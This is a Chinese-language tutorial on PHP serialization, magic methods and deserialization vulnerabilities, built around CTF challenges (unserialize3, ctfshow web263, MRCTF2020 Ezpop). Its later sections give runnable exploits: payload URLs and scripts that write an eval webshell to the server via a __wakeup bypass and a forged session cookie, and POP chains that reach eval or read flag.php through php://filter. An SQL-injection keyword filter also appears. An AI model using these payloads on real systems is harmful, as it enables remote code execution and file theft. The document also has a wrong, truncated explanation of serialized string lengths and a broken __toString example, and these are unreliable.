PHP的序列化和反序列化入門

2023-03-27 12:00:54

PHP序列化

什麼是PHP序列化

serialize()     //將一個物件轉換成一個字串
unserialize()   //將字串還原成一個物件

通過序列化與反序列化我們可以很方便的在PHP中進行物件的傳遞。本質上反序列化是沒有危害的。但是如果使用者對資料可控那就可以利用反序列化構造payload攻擊

<?php
highlight_file(__FILE__);
class sunset{
    public $flag='flag{asdadasd}';
    public $name='makabaka';
    public $age='18';
}

$ctfer=new sunset(); //範例化一個物件
echo serialize($ctfer);
?>

  • 返回結果

O:6:"sunset":3:{s:4:"flag";s:14:"flag{asdadasd}";s:4:"name";s:8:"makabaka";s:3:"age";s:2:"18";}

  • O代表物件,這裡是序列化的一個物件,要序列化陣列的就用A
  • 6表示的是類的長度
  • sunset表示對是類名
  • 3表示類裡面有3個屬性也稱為變數
  • s表示字串的長度這裡的flag表示屬性
  • 比如s:4:"flag" 這裡表示的是 flag屬性名(變數名)為4個字串長度 字串 屬性長度 屬性值

什麼是反序列化

這裡是把上面序列化之後返回的資料進行反序列化

$str='O:6:"sunset":3:{s:4:"flag";s:14:"flag{asdadasd}";s:4:"name";s:8:"makabaka";s:3:"age";s:2:"18";}';
$a=unserialize($str);
var_dump($a);

PHP中public、protected、private的區別對比

public

public修飾的屬性和方法可以在任何地方被存取,包括類的內部、子類和外部程式碼。

範例:

<?php
class Person {
  public $name;

  public function sayHello() {
    echo "Hello!";
  }
}

$person = new Person();
echo $person->name; // 可以直接存取 public 屬性
$person->sayHello(); // 可以直接呼叫 public 方法
?>

protected

protected修飾的屬性和方法只能在當前類及其子類中被存取,外部的程式碼存取不了

<?php
highlight_file(__FILE__);
class Person {
    protected $name;

    protected function sayHello() {
      echo "Hello!";
    }
  }

  class Student extends Person {
    public function showName() {
      echo $this->name; // 子類可以存取 protected 屬性
      $this->sayHello(); // 子類可以呼叫 protected 方法
    }
  }

  $student = new Student();
  $student->showName(); // 可以存取父類別的 protected 屬性和方法
  echo $student->name; // 外部程式碼不能存取 protected 屬性  會顯示錯誤
  $student->sayHello(); // 外部程式碼不能呼叫 protected 方法 會顯示錯誤
?>

private

private修飾的屬性和方法只能在當前類中被存取,子類和外部程式碼不能存取。

<?php
highlight_file(__FILE__);
class Person {
    private $name;

    private function sayHello() {
      echo "Hello!";
    }
  }

  class Student extends Person {
    public function showName() {
      echo $this->name; // 子類不能存取父類別的 private 屬性
      $this->sayHello(); // 子類不能呼叫父類別的 private 方法
    }
  }

  $person = new Person();
  echo $person->name; // 外部程式碼不能存取 private 屬性 會發生報錯
  $person->sayHello(); // 外部程式碼不能呼叫 private 方法 會發生報錯

?>

總結

魔術方法

在利用對PHP反序列化進行利用時,經常需要通過反序列化中的魔術方法,檢查方法裡有無敏感操作來進行利用。

常見的魔術方法

__construct()//建立物件時觸發
__destruct() //物件被銷燬時觸發
__call() //在物件上下文中呼叫不可存取的方法時觸發
__callStatic() //在靜態上下文中呼叫不可存取的方法時觸發
__get() //用於從不可存取的屬性讀取資料
__set() //用於將資料寫入不可存取的屬性
__isset() //在不可存取的屬性上呼叫isset()或empty()觸發
__unset() //在不可存取的屬性上使用unset()時觸發
__invoke() //當指令碼嘗試將物件呼叫為函數時觸發

__sleep()

__sleep() 方法是 PHP 中的一個魔術方法(magic method),用於在物件被序列化(serialized)時觸發。在這個方法中,你可以指定哪些屬性需要被序列化,哪些屬性不需要被序列化。

具體來說,當呼叫 serialize() 函數將一個物件序列化時,PHP 會先自動呼叫物件的 __sleep() 方法,該方法需要返回一個陣列,包含需要被序列化的屬性名。然後 PHP 會將這些屬性序列化成字串。

假設有一個 User 類,它有一個私有屬性 $password,你不希望在序列化物件時將密碼屬性暴露出來。那麼你可以在 User 類中實現 __sleep() 方法

<?php
highlight_file(__FILE__);
class User {
    private $username;
    private $password;

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }

    public function __sleep() {
        return array('username');
    }
}

$user = new User('john', '123456');
$serialized = serialize($user);
echo $serialized;

在上面的例子中,User 類的 __sleep() 方法返回了一個只包含 $username 屬性名的陣列,這意味著在序列化物件時,只有使用者名稱會被序列化。如果你執行上面的程式碼,你會看到輸出的序列化字串只包含了 username 屬性的值。

關於序列化後的字串中 s:14:"Userusername";s:4:"john"; 中的 s:14,實際上是指 "Userusername" 的長度為 12 個字元,而不是 10 或 14 個字元。這是因為在 PHP 序列化字串中,每個字串的前面都會有一個類似 s:6: 的字串長度標識,表示該字串的長度為 6 個字元。這個字串長度標識包括 s:、冒號和數位長度,加起來佔用了 4 個字元,所以實際上字串長度標識的長度為字串長度加 2。在您的輸出結果中,s:14:"Userusername";s:4:"john"; 中的

__wakeup()

unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先呼叫 __wakeup 方法,預先準備物件需要的資源 而wakeup() 用於在從字串反序列化為物件時自動呼叫。一個 PHP 物件被序列化成字串並儲存在檔案、資料庫或者通過網路傳輸時,我們可以使用 unserialize() 函數將其反序列化為一個 PHP 物件。在這個過程中,PHP 會自動呼叫該物件的 __wakeup() 方法,對其進行初始化。

__wakeup() 方法的作用是對一個物件進行一些必要的初始化操作。例如,如果一個物件中包含了一些需要進行身份驗證的屬性,那麼在從字串反序列化為物件時,就可以在 __wakeup() 方法中進行身份驗證。或者如果一個物件中包含了一些需要在每次初始化時計算的屬性,也可以在 __wakeup() 方法中進行計算

範例1:

<?php
highlight_file(__FILE__);
class User {
    private $username;
    private $password;

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }

    public function __sleep() {
        return array('username', 'password');
    }

    public function __wakeup() {
        if (!$this->authenticate()) {
            throw new Exception("Authentication failed");
        }
    }

    private function authenticate() {
        // 進行身份驗證
    }
}

$user = new User('john', '123456');
$serialized = serialize($user);
$unserialized = unserialize($serialized);

在上面的範例中User 類實現了 __sleep()__wakeup() 方法。__sleep() 方法返回了一個包含 usernamepassword 屬性名的陣列,表示只有這兩個屬性需要被序列化。__wakeup() 方法會呼叫 authenticate() 方法進行身份驗證。如果身份驗證失敗,則會丟擲一個異常。

範例2:

<?php
highlight_file(__FILE__);
class Caiji{
    public function __construct($ID, $sex, $age){
        $this->ID = $ID;
        $this->sex = $sex;
        $this->age = $age;
        $this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
    }

    public function getInfo(){
        echo $this->info . '<br>';
    }
    /**
     * serialize前呼叫 用於刪選需要被序列化儲存的成員變數
     * @return array [description]
     */
    public function __sleep(){
        echo __METHOD__ . '<br>';
        return ['ID', 'sex', 'age'];
    }
    /**
     * unserialize前呼叫 用於預先準備物件資源
     */
    public function __wakeup(){
        echo __METHOD__ . '<br>';
        $this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
    }
}

$me = new Caiji('Sunset', 20, 'man');

$me->getInfo();
//存在__sleep(函數,$info屬性不會被儲存
$temp = serialize($me);
echo $temp . '<br>';

$me = unserialize($temp);
//__wakeup()組裝的$info
$me->getInfo();

?>
  • 輸出結果

__toString()

__toString() 方法用於一個類被當成字串時應怎樣迴應。例如 echo $obj; 應該顯示些什麼。此方法必須返回一個字串,否則將發出一條 E_RECOVERABLE_ERROR 級別的致命錯誤。

範例:

<?php
highlight_file(__FILE__);
class Person {
    public $name;
    public $age;

    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
        $this-> info=sprintf("name:%s,age:%s",$this->name,$this->age);
    }

    public function __toString() {
        return $this->info;
    }
}

$person = new Person("John", 30);
echo '__toString:'.$person.'<br>'; 

?>

__destruct()

__destruct 方法是 PHP 中的一個特殊方法,用於在物件範例被銷燬時自動呼叫。該方法通常用於清理物件所佔用的資源,例如關閉資料庫連線、釋放檔案控制程式碼等。

範例:

class Example {
  private $resource;

  public function __construct() {
    $this->resource = fopen('example.txt', 'w');//開啟檔案
  }

  public function write($text) {
    fwrite($this->resource, $text);
  }

  public function __destruct() {
    fclose($this->resource);
  }
}

// 建立範例並寫入檔案
$example = new Example();
$example->write('Big hacker!!!');

// 範例銷燬時,__destruct 方法會自動關閉檔案控制程式碼

在上面的範例中,Example 類別建構函式開啟了一個檔案,並將其儲存在 $resource 屬性中。write 方法使用該檔案控制程式碼將文字寫入檔案中。

$example 範例被銷燬時,__destruct 方法會自動呼叫,關閉檔案控制程式碼以釋放資源。這意味著在 write 方法執行後,即使沒有呼叫 fclose 方法關閉檔案,該檔案也會被正確地關閉

  • 關於範例在上面時候被銷燬

具體$example->write('Hello, world!');$example 變數,$example 物件將會被銷燬,並且 __destruct 方法會被自動呼叫,關閉檔案控制程式碼。如果在此之後仍然有其他變數參照 $example 物件,那麼物件不會被銷燬,直到所有參照都被釋放為止。

物件的生命週期取決於它的參照計數,只有當所有參照都被釋放後,物件才會被銷燬。__destruct 方法會在物件銷燬時自動呼叫,用於執行清理操作。

魔術方法執行的先後順序

__construct()和__destruct()
  • construct:當物件建立時會被呼叫,是在new物件時才呼叫,unserialize 時不對被自動呼叫
  • destruct() : 當物件被銷燬時自動呼叫,有新的物件建立 之後會自動銷燬 相當於呼叫了__construct 後一定會呼叫__destruct 現在傳入一個物件,他後面被銷燬時會呼叫 destruct

範例:

 <?php
highlight_file(__FILE__);
class sunset{
    public $name='makabaka';
        function __construct()
        {
            echo "呼叫"."__construct";
            echo "<br>";
        }
        function __destruct()
        {
            echo "呼叫"."__destruct";
            echo "<br>";
        }
}
$a= new sunset();
echo serialize($a);
echo "<br>";
?>

呼叫__construct
O:6:"sunset":1:{s:4:"name";s:8:"makabaka";}
呼叫__destruct

建立物件sunset 呼叫 __construct 序列號之後呼叫__destruct銷燬物件

__seelp()__wakeup()
  • __seelp() 在物件被序列化之前呼叫
  • __wakeup() 在物件被反序列化之前呼叫

範例:

<?php
highlight_file(__FILE__);
class sunset{
    public $name='makabaka';
        function __construct()
        {
            echo "呼叫"."__construct";
            echo "<br>";
        }
        function __destruct()
        {
            echo "呼叫"."__destruct";
            echo "<br>";
        }
        function __sleep()
        {
            echo "呼叫"."__sleep";
            echo "<br>";
            return array("name");
        }
        function __wakeup()
        {
            echo "呼叫"."__wakeup";
            echo "<br>";
        }
}
$a= new sunset();
echo serialize($a);
$b=$_GET['b'];
echo "<br>";
unserialize($b);
?>


這裡可以看出在序列化之前呼叫了__sleep 方法然後進行銷燬

<?php
highlight_file(__FILE__);

class sunset {
    public $name = 'makabaka';

    function __construct() {
        echo "呼叫 " . __METHOD__;
        echo "<br>";
    }

    function __destruct() {
        echo "呼叫 " . __METHOD__;
        echo "<br>";
    }

    function __sleep() {
        echo "呼叫 " . __METHOD__;
        echo "<br>";
        return array("name");
    }

    function __wakeup() {
        echo "呼叫 " . __METHOD__;
        echo "<br>";
    }
}

if (isset($_POST['submit'])) {
    $b = $_POST['a'];
    unserialize($b);
}

?>

<form method="POST">
    <input type="text" name="a" value='O:6:"sunset":1:{s:4:"name";s:8:"makabaka";}'>
    <input type="submit" name="submit" value="提交">
</form>

這裡我們直接提交序列化的內容就呼叫了__wakeup

__toString()

__toString作為pop鏈關鍵的一步,很容易被呼叫。當物件被當作字串的時候,__toString() 會被呼叫,不管物件有沒有被列印出來,在物件被操作的時候,物件在和其他的字串做比較的時候也會被呼叫。

  1. echo($obj)或print($obj)列印物件時會觸發
  2. 反序列化物件與字串連線時
  3. 反序列化物件參與格式化字串時
  4. 反序列化物件字串進行==比較時(多為preg_match正則匹配),因為php進行弱比較時會轉換引數型別,相當於都轉換成字串進行比較
  5. 反序列化物件參與格式化sql語句時,繫結引數時(用的少)
  6. 反序列化物件經過php字串函數時,如strlen(),addslashes()時(用的少)
  7. 在in_array()方法中,第一個引數是反序列化物件,第二個引數的陣列中有tostring返回的字串的時候tostring會被呼叫
  8. 反序列化的物件作為class_exists()的引數的時候(用的少)
<?php
highlight_file(__FILE__);

class sunset {
    public $name = 'makabaka';

    function __construct() {
        echo "呼叫 " ." __construct()";
        echo "<br>";
    }

    function __destruct() {
        echo "呼叫 " . "__destruct()";
        echo "<br>";
    }

    function __toString() {
        echo "呼叫 " . "__toString";
        echo "<br>";
        return array("name");
    }

}
$a= new sunset();
echo $a;

__invoke()

__invoke:當嘗試以呼叫函數的方式呼叫一個物件時,__invoke()方法會被自動呼叫,而呼叫函數的方式就是在後面加上(),當我們看到像return $function();這種語句時,就應該意識到後面可能會呼叫__invoke(),下圖是直接在物件後面加()呼叫(這個魔術方法只在PHP 5.3.0 及以上版本有效)

<?php
highlight_file(__FILE__);

class sunset {
    public $name = 'makabaka';

    function __construct() {
        echo "呼叫 " ." __construct()";
        echo "<br>";
    }

    function __destruct() {
        echo "呼叫 " . "__destruct()";
        echo "<br>";
    }
    function __invoke() {
        echo "呼叫 " . "__invoke";
        echo "<br>";
    }
}
$a= new sunset();
$a();

__get()和__set()
  • __get():從不可存取的屬性中讀取資料,或者說是呼叫一個類及其父類別方法中未定義屬性時
  • __set():當給一個未定義的屬性賦值時,或者修改一個不能被修改的屬性時(private protected)(用的不多)
<?php
highlight_file(__FILE__);
class sunset {
    public $name = 'makabaka';
    public $str = 'hello';

    function __construct() {
        echo "呼叫 " ." __construct()";
        echo "<br>";
    }

    function __destruct() {
        echo "呼叫 " . "__destruct()";
        echo "<br>";
    }
    function __get($b) {
        echo "呼叫 " . "__get";
        echo "<br>";
        return $this->str;
    }
}

$a= new sunset();
echo $a->makk;

這裡建立一個物件呼叫了__construct 然後echo 指向的mkk沒有被定義然後呼叫__get()

__call()__callStatic()
  • __call:在物件中呼叫類中不存在的方法時,或者是不可存取方法時被呼叫
  • __callStatic:在靜態上下文中呼叫一個不可存取靜態方法時被呼叫
<?php
highlight_file(__FILE__);
class sunset {
    public $name = 'makabaka';
    public $str = 'hello';

    function __construct() {
        echo "呼叫 " ." __construct()";
        echo "<br>";
    }

    function __destruct() {
        echo "呼叫 " . "__destruct()";
        echo "<br>";
    }
    function __call($b,$q) {
        echo "呼叫 " . "__call";
        echo "<br>";
        return $this->str;
    }
}

$a= new sunset();
echo $a->makk();

這裡呼叫makk()方法不存在呼叫__call

其他魔術方法
__isset():當對不可存取屬性呼叫isset()或empty()時呼叫
__unset():當對不可存取屬性呼叫unset()時被呼叫。
__set_state():呼叫var_export()匯出類時,此靜態方法會被呼叫。
__clone():當物件複製完成時呼叫
__autoload():嘗試載入未定義的類
__debugInfo():列印所需偵錯資訊

參考手冊

題目

unserialize3

地址

這是一個有關於php序列化的題目

   <?php
   class xctf{
   public $flag = '111';
   public function __wakeup(){
   exit('bad requests');
   }
   }
   $a= new xctf();
   print(serialize($a));
   ?>
     

這裡繞過__wakeup的方法就是屬性值大於他之前的屬性值 這裡面就只有一個屬性值 flag111 只要超過這個屬性值就可以繞過

範例

<?php
error_reporting(0);
include "flag.php";
$KEY = "sunset";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "$flag";
}
echo serialize($KEY);
$a='s:6:"sunset"';
$b= unserialize($a);
echo $b;

show_source(__FILE__);

通過分析程式碼我們需要通過get傳入一個str值然後這傳入的值進行反序列化之後就與$KEY相等就可以返回flag

構造payload:http://127.0.0.1/1.php?str=s:6:"sunset";

如何繞過__wakeup() CVE-2016-7124

版本限制 PHP5:<5.6.25

​ PHP7:<7.0.10

CVE-2016-7124

<?php
error_reporting(0);
class sunset{
    public $name='makabaka';
    public $age='18';
    function __wakeup(){
$this->age = "18";
    }
    function __destruct(){
$path='flag.php';
$file_get=file_put_contents($path,$this->name);
    }
}
$flag = $_GET['flag'];
$unser = unserialize($flag);

程式碼分析
  • 類名: sunset
  • 屬性名: name 和age
  • 魔術方法: __wakeup和__destruct

在程式碼中這裡用到了反序列化函數unserialize , 只要用到這個函數是裡面就會檢測類sunset 裡面有沒有__wakeup()方法 ,如果有的話就會執行這個方法 這裡的 wakeup()沒有太大的作用然後後面的 __destruct開啟了一個flag.php檔案,然後把$this-->name 的值作為內容寫入flag.php裡面

O:6:"sunset":2:{s:4:"makabaka"}

對上面程式碼進行序列化

  • O 代表是一個物件
  • 6 長度為6 "sunset"
  • 2 表示裡面有兩個屬性
  • s: 4:name 表示屬性的長度為4
  • s:8:makabaka 屬性的長度為8

在上面的程式碼中我們可以看到destruct 方法把name的東西寫入flag.php裡面這裡我們可以直接寫入shell

但是由於進行destruct 之前會進行wakeup方法 所以需要先繞過wakeup 這裡需要增加類的屬性值使大於類裡面的就可以繞過>2

http://127.0.0.1/1.php/?flag=O:6:%22sunset%22:5:{s:4:%22name%22;s:41:%22%3C?php%20phpinfo();@eval($_POST[%27shell%27]);?%3E%22;s:3:%22age%22;s:2:%2218%22;}

範例2
<?php
class SoFun{
  protected $file='index.php';
  function __destruct(){
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);// 讀取檔案裡面的內容
      else
        die('Wrong filename.');
    }
  }
  function __wakeup(){
   $this-> file='index.php';
  }
  public function __toString()//必須返回一個字串
   { return '' ;
  }
}
if (!isset($_GET['file'])){
  show_source('index.php');
}
else{
  $file=base64_decode($_GET['file']);
  echo unserialize($file);
}
 ?> #<!--key in flag.php-->
  • 構造序列化的物件:O:5:"SoFun":1:
  • 繞過__wakeup():O:5:"SoFun":2:

上面類的屬性為 protected 可以加上 \00*\00繞過之後進行base64繞過

http://127.0.0.1/index.php?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

SEESION反序列化漏洞

PHP在session儲存和讀取時,都會有一個序列化和反序列化的過程,PHP內建了多種處理器用於存取 $_SESSION 資料,都會對資料進行序列化和反序列化
在php.ini中有以下設定項,wamp的預設設定如圖

session.save_path 設定session的儲存路徑
session.save_handler 設定使用者自定義儲存函數如果想使用PHP內建對談儲存機制之外的可以使用本函數(資料庫等方式)
session.auto_start 指定對談模組是否在請求開始時啟動一個對談
session.serialize_handler 定義用來序列化/反序列化的處理器名字。預設使用php(<5.5.4)

session 的儲存機制

php中session中的內容是以檔案方式來儲存的,由由session.save_handler來決定。檔名由sess_sessionid命名,檔案內容則為session序列化後的值。

session.serialize_handler是用來設定session的序列化引擎的,除了預設的PHP引擎之外,還存在其他引擎,不同的引擎所對應的session的儲存方式不相同。

引擎 session儲存方式
php(php<5.5.4) 儲存方式是,鍵名+豎線`
php_serialize(php>5.5.4) 儲存方式是,經過serialize()函數序列化處理的鍵和值(將session中的key和value都會進行序列化)
php_binary 儲存方式是,鍵名的長度對應的ASCII字元+鍵名+經過serialize()函數序列化處理的值

在PHP (php<5.5.4) 中預設使用的是PHP引擎,如果要修改為其他的引擎,只需要新增程式碼ini_set('session.serialize_handler', '需要設定的引擎名');進行設定

php_serialize 引擎
<?php
    ini_set('session.serialize_handler','php_serialize');
    session_start();

    $_SESSION['name'] = 'sunset';
?>

這裡彙總seesion儲存路徑儲存一個序列化後的檔案

內容為a:1:{s:4:"name";s:6:"sunset";}

其中a:1 是使用php_serialize引擎都會加上的,同時使用php_serialize會把session裡面的key和value都會反序列化

  • a代表的是一個陣列
php引擎
<?php
    session_start();

    $_SESSION['name'] = 'sunset';
?>

內容為name|s:6:"sunset";

這裡name 為鍵值 s:6:"sunset" 是sunset序列化後的結果

php引擎儲存方式為:鍵值名 | 序列化後的值

php_binary 引擎
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler','php_binary');
session_start();

$_SESSION['name'] = 'sunset';
?>

返回值

names:6:"sunset";

前面那個是一個特殊字元 因為php_binary 序列化的過程中,會把資料編碼為二進位制格式,需要把資料長度資訊加入到編碼資料的開頭,這樣在解碼的時候才可以讀取資料,也是為了在解碼的時候確定資料的長度。實質上是不可見字元,然後可以對照ascii表

例題: ctfshow_web263

存取www.zip檔案拿到原始碼

  • index.php
<?php
	error_reporting(0);
	session_start();
	//超過5次禁止登陸
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陸失敗次數超過限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>
  • check.php
<?php

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //密碼必須為128位元大小寫字母+數位+特殊符號,防止爆破
		]
	]);
	if($data['id']){
		//登陸成功取消次數累計
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"歡迎您".$data['UserName0']));
	}else{
		//登陸失敗累計次數加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"登陸失敗"));
	}
}


  • inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入檢查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}


class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

/*生成唯一標誌
*標準的UUID格式為:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function  uuid()  
{  
    $chars = md5(uniqid(mt_rand(), true));  
    $uuid = substr ( $chars, 0, 8 ) . '-'
            . substr ( $chars, 8, 4 ) . '-' 
            . substr ( $chars, 12, 4 ) . '-'
            . substr ( $chars, 16, 4 ) . '-'
            . substr ( $chars, 20, 12 );  
    return $uuid ;  
}  

根據index.php 原始碼$_SESSION['limti']>5?die("登陸失敗次數超過限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); 前面的$_SESSION['limiti'] 導致後續條件不可能成立,而inc.php 檔案裡面設定了指定的php直譯器為php的裡面session_start(); 會對session檔案進行解析,進行反序列化

  • check.php 呼叫 cookie

  • inc.php檔案

  • 抓取封包

通過解碼發現limit為1

  • EXP
<?php
highlight_file(__FILE__);
class User{
    public $username='shell.php';
    public $password = '<?php phpinfo();@eval($_POST["shell"]);?>';

}

echo  $a=base64_encode("|".serialize(new User));
echo "log-"."shell.php";


然後通過抓包修改cookielimit欄位

  • 修改cookie後

寫入成功

然後存取inc/inc.php觸發條件 在check.phpinc/inc.php頁面反序列化的時候|前面的會被看做鍵名,會對|後面的進行反序列化

ctfshow{1eb5b22f-96d0-45a7-bebe-bec221b32fec}

POP鏈

魔術方法執行的先後順序

  • 思路

利用現有的環境,找到一系列的程式碼或者呼叫指令,然後構造成一組連續的呼叫鏈,然後進行攻擊。任何一條鏈子的構造,我們都要先找到它的頭和尾,pop鏈也不例外,pop鏈的頭部一般是使用者能傳入引數的地方,而尾部是可以執行我們操作的地方,比如說讀寫檔案,執行命令等等;找到頭尾之後,從尾部(我們執行操作的地方)開始,看它在哪個方法中,怎麼樣可以呼叫它,一層一層往上倒推,直到推到頭部為止,也就是我們傳參的地方,一條pop鏈子就出來了;在ctf中,頭部一般都會是GET或者POST傳參,然後可能就有一個unserialize直接將我們傳入的引數反序列化了,尾部都是拿flag的地方;然後一環連著一環構成pop鏈

例題1

有php反序列化漏洞是因為有不安全的魔術方法,魔術方法會自己呼叫,我們構造惡意的exp就可以來觸發他,有時候的漏洞程式碼不在魔術方法裡面,在普通的方法中,我們應該尋找魔術方法是否呼叫了同名的函數,然後用同名函數名和類的屬性和魔術方法聯絡起來

<?php
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new normal();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class normal {
    function action() {
        echo "HelloWorld";
    }
}
class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['a']);
?>

上面程式碼的危險函數是evil類裡面的eval 我們需要把命令寫入eval()裡面,這裡的action()函數有2個我們需要呼叫的是下面的class evil 這裡程式碼的流程是先有一個test 類然後我們建立物件的時候呼叫__construct 方法之後會在建立一個新的normal 物件然後就呼叫了函數action() 輸出HelloWorld

這裡可以先建立一個test類然後利用test類建立一個evil 物件再通過物件寫入危險函數

  • EXP
<?php
highlight_file(__FILE__);
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class evil {
    private $data='phpinfo();';

}
$b= new test();
echo urlencode(serialize($b));
///http://127.0.0.1/1.php?a=O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D 

例題2

<?php
highlight_file(__FILE__);
class Hello
{
    public $source;
    public $str;
    public function __construct($name)
    {
        $this->str=$name;
    }
    public function __destruct()
    {
        $this->source=$this->str;
        echo $this->source;
    }
}
class Show
{
    public $source;
    public $str;
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
}

class Uwant
{
    public $params;
    public function __construct(){
        $this->params='phpinfo();';
    }
    public function __get($key){
        return $this->getshell($this->params);
    }
    public function getshell($value)
    {
        eval($this->params);
    }
}
$a = $_GET['a'];
unserialize($a);
?>
  • 這段程式碼的含義:

通過GET傳入a引數--> 對傳入的內容進行反序列化--> 分別傳入Hello Show Uwant 裡面--> 建立Hello類的物件時候呼叫__construct 方法把傳遞的引數存在了$str裡面在該物件被銷燬的時候呼叫__destruct 方法,並且把$str 的值給到了$source裡面並且通過echo輸出,然後建立Show 物件會呼叫__toString 方法返回$str的值str['str']->source ,建立Uwant 方法的時候呼叫了__construct 然後把phpinfo(); 存入了$params 裡面然後存取這個屬性時然後get沒有$key引數 會呼叫__get 方法並且呼叫getshell)() 方法然後把$params 裡面的內容寫到eval然後輸出

這裡需要先把Hello類裡面的$this-->str變成物件這樣才可以繼續讓Show 裡面的類__toString 執行,然後把Show類的$this->str['str']賦值成物件,來呼叫Uwant類中的__get()

  • EXP
<?php
highlight_file(__FILE__);
class Hello
{
	public $source;
	public $str;
}
class Show
{
	public $source;
	public $str;
}
class Uwant
{
	public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b;
$b -> str['str'] = $c;
echo urlencode(serialize($a));

例題3

[MRCTF2020]Ezpop

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function(); //這會直接呼叫到__invoke
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

這裡通過get方法傳入一個get引數,如果沒有傳入pop引數然後就呼叫Show方法 顯示原始碼,這裡的思路就是在Modifier 類裡面有一個include 函數如果可以呼叫就可以通過檔案包含,包含flag.php 檔案然後使用php偽協定就可以獲取flag

有關Test類的魔術方法簡介就往__invoke

Show

__wakeup 在反序列化的時候會直接被觸發裡面的正則匹配了一些敏感的關鍵詞 然後preg_match函數對s ource進行存取會觸發__toString 然後這個方法又會存取str裡面的source 我們建立一個新的Test類,裡面沒有source,然後會觸發__get() 方法,函數返回的時候我們再建立一個Modifier類 之後又會觸發__invoke 方法然後用Modifier 的var讀取flag.php

頭 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾

  • exp
<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct()
    {
        $this->str=new Test();
    }
}
class Test{
    public $p;
    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }

}
$hack=new Show();
$hack->source=new Show();
$hack->source->str->p=new Modifier();
echo urlencode(serialize($hack));

flag{197b01ca-3562-4896-aedf-812a5686bb24}